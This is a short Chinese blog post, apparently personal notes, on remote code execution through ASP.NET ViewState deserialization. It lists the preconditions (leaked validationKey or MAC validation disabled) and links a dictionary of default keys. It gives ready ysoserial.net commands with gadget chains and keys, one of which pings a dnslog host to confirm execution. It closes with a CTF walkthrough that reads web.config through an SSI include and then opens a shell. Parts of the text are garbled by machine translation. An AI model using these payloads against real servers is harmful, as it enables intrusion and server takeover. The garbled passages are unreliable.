ASP.NET在ViewState中反序列化利用

    科技2022-07-29  114

    ASP.NET在ViewState中反序列化利用

    做项目学到一手记录下

    viewstate是什么

    按键名称存储每个控件的值,如哈希表跟踪对视图状态值的初始状态的更改序列化和取消序列化保存的数据到客户端上的隐藏窗体字段自动恢复回贴的 ViewState 数据 ASP.NET 支持三种不同的开发模式: Web Pages(Web 页面)、MVC(Model View Controller 模型-视图-控制器)、Web Forms(Web 窗体)基于 web forms ,目的是为服务端控件状态进行持久化 。

    ASP.NET Web应用顺序运用ViewState来庇护页面状况,并在Web表单中保存数据。ViewState参数是Base64序列化后的餐胡,一般会在POST请求中经由历程名为“__VIEWSTATE”的隐蔽参数发送。在效劳器端,将对这个参数举行反序列化,并检索数据。

    利用条件

    1.得到 validationKey 验证密钥 以及 validation 验证方法或者web.config某种途径的泄露 2.禁用MAC验证功能 默认key合集https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState_Key.txt

    利用方式

    利用ysoserialg工具生成viewstate payload

    针对.NET Framwork 4.5及以上版本:

    .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

    针对.NET Framwork 4.0及以上版本

    ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping p0xxwc.dnslog.cn" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"

    如果不知道_VIEWSTATEGENNERATOR参数,就需要知道其路径–path="/somepath/testaspx/test.aspx" --apppath="/testaspx/"

    buu某ctf

    题目给出了源码,文件上传黑名单的绕过上传ctm文件

    <!-- test.shtml --> <!--#include file="/web.config" -->

    最后读到上面的配置文件,key也知道了

    随便post一个包过去

    现在知道viewstate及相关值了,然后ysorial工具

    弹个shell就ok

    参考文章: https://www.4hou.com/posts/GYq7 https://github.com/Illuminopi/RCEvil.NET https://github.com/pwntester/ysoserial.net

    Processed: 0.009, SQL: 8